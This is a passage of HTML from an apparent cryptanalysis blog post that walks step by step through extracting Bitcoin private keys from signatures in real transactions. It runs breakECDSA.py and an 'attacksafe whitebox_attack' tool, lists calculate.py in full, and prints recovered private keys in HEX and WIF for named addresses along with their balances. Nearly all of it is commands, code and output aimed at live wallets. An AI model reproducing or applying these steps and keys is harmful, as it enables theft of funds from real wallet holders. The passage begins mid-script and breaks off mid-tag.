0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26\nS = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562\nZ = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c\n\n\nprint (h((((S * K) - Z) * modinv(R,N)) % N))\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eThe script will calculate the private key using the formula:\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivkey = ((((S * K) - Z) * modinv(R,N)) % N)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s run the script:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 calculate.py\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-34.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1618\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivKey = 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open bitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;check:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\nWIF:  Kx2mo3Efm5BaC45ozMVM4MPbcY6thbxVwgwXX8ByCuKRZeMmpATx\nHEX:  1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/001-2.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1688\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\"\u003ehttps://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivate Key Found!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/001-addr.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1621\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003e\u003ccode\u003ewww.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/code\u003e\u003c/strong\u003e\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eBALANCE: $ 607.79\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e№2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eWith detailed cryptanalysis, we also found a critical vulnerability in Bitcoin Address:\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f\"\u003ehttps://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\"\u003ehttps://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-2-1024x201.png\" alt=\"WhiteBox Attack\" class=\"wp-image-1527\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-3-1024x202.png\" alt=\"WhiteBox Attack\" class=\"wp-image-1529\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003ePrepare RawTX for the attack\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f\"\u003ehttps://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-35-1024x144.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1624\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eRawTX = 01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eNow we need to get all R, S, Z values ​​from all vulnerable transactions\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s use the breakECDSA.py script\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython2 breakECDSA.py 01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-36-1024x303.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1626\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8\nS = 0x6a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e42103\nZ = 0xe3836edb5789a3be19cb8b0c9bc8cb1ae2fd58c30d745ae34ceac35c20c0c21c\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo get the secret key from a vulnerable ECDSA signing transaction, let’s add the data\u0026nbsp;\u003ccode\u003eRawTX\u003c/code\u003eto a text document and save it as a file\u003ccode\u003eRawTX.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLaunch\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eusing software\u003ccode\u003e“ATTACKSAFE SOFTWARE”\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-37-1024x264.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1628\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe launched this attack from\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eand the result was saved to a file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow to see the successful result, open the file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-38-1024x374.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1630\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eDeployments ECDSA:\n\nSecretKey = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e\n\nRawTX = 01000000014398fe319f52d6b4cece666cb591ea22d1ea47dacd5df746e3aa588e5426a43c0d0000006b483045022100dd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc802206a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e4210301210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff0176020000000000001976a914212ae2b75df27ce3dfd0350335bc590d29d43bb188ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eWe see an inscription\u0026nbsp;\u003ccode\u003e\"Deployments ECDSA\"\u003c/code\u003ethat means a critical vulnerability in the Bitcoin blockchain transaction.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eSecretKey value in HEX format, this is our secret key \"K\" (NONCE):\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s check with a\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script\u003ccode\u003epoint2gen.py\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://pypi.org/project/ECPy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eLet’s use the ECPy\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;elliptic curve library\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eNow let’s run the script by specifying\u0026nbsp;\u003ccode\u003eSecret Key \"K\" (NONCE)\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 point2gen.py 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-39-1024x89.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1632\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e(0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8 , 0xfc8af5334a2b2742013063d05fcaef03a0c4b4bacabf6a7be849c1db87b5e265)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eChecking the coordinates of a point\u0026nbsp;\u003ccode\u003eEC (secp256k1)\u0026nbsp;\u003c/code\u003ewith a signature value\u003ccode\u003eR\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8\nS = 0x6a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e42103\nZ = 0xe3836edb5789a3be19cb8b0c9bc8cb1ae2fd58c30d745ae34ceac35c20c0c21c\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR          =    0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8\npoint2gen  =   (0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8 , 0xfc8af5334a2b2742013063d05fcaef03a0c4b4bacabf6a7be849c1db87b5e265)\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eALL CORRECT!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow knowing the secret key, we can get the private key to the Bitcoin Wallet:\u003ccode\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s use\u0026nbsp; the\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script:\u0026nbsp;\u0026nbsp;\u003ccode\u003ecalculate.py\u003c/code\u003e\u0026nbsp;\u0026gt; \u0026gt; \u0026gt; Get the Private Key\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the code and add all the value of the signatures\u003ccode\u003e\u003cstrong\u003eK, R, S, Z\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003edef h(n):\n    return hex(n).replace(\"0x\",\"\")\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa \u0026lt; 0 else 1), lasty * (-1 if bb \u0026lt; 0 else 1)\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n    \nN = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\n\n\nK = 0x39ec5220d3937da589231cbaa5b04002ce3b5689173680ee110ef81287f7867e\nR = 0xdd0b22efd991dac497ce7223f5410d72aa88049482c5dca8a90def184afe5cc8\nS = 0x6a2f72ca1d30a0ec392808142960cc4024bb84ce7f2f52288933124004e42103\nZ = 0xe3836edb5789a3be19cb8b0c9bc8cb1ae2fd58c30d745ae34ceac35c20c0c21c\n\n\nprint (h((((S * K) - Z) * modinv(R,N)) % N))\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eThe script will calculate the private key using the formula:\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivkey = ((((S * K) - Z) * modinv(R,N)) % N)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s run the script:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 calculate.py\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-40.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1634\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivKey = 028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open bitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;check:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\nWIF:  KwJedezSt21uB3ZoHvzkWbcad4VLaJXu8467Jw58j47s4cseQJrk\nHEX:  028a6a6f6ef174708aac8121c40e8545def4e73d5dd98f8a343f083a49fca03d\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/002-1.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1690\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\"\u003ehttps://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivate Key Found!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-42-1024x465.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1638\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://www.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003ccode\u003ewww.blockchain.com/btc/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eBALANCE: $ 635.44\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cem\u003eThe potential threat of losing BTC coins lies in the critical vulnerability of the Bitcoin blockchain transaction, so we strongly recommend that everyone always update the software and use only verified devices.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eWith detailed cryptanalysis, we also found a critical vulnerability in\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ef4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;for the same Bitcoin Address\u003cstrong\u003e\u003ccode\u003e\u0026nbsp;TXID:\u003c/code\u003e\u003c/strong\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003ePrepare RawTX for the attack\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\"\u003ehttps://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-43-1024x140.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1641\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eRawTX = 0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eNow we need to get all R, S, Z values ​​from all vulnerable transactions\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s use the breakECDSA.py script\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython2 breakECDSA.py 0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-44-1024x216.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1643\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0x48771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba5\nS = 0x2756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be7\nZ = 0xa402dc224f712e09602b06c595f272f3e09408f052d8fba3d88609bbbb150139\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo get the secret key from a vulnerable ECDSA signing transaction, let’s add the data\u0026nbsp;\u003ccode\u003eRawTX\u003c/code\u003eto a text document and save it as a file\u003ccode\u003eRawTX.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e0100000001794e79fc042a7644cc4deb6e7858416dd8b898fe418b2894f8d3772ce8d132a0180000006a473044022048771a103dbc561b895d573a9b706b98f643701466de15980fa712b544554ba502202756e42292c841ccfef832138c52f66f7e03b7f2f86cf3fb4d7fd43d6a526be701210262c3a8791c0e44cd389ebe51c156b5aac490cddef3536638abf8863d55190adbffffffff010c03000000000000232103d68f90ba81455256cb7a0df14fb3930d6df61393207f2f3e71659414d296e0f0ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLaunch\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eusing software\u003ccode\u003e“ATTACKSAFE SOFTWARE”\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre 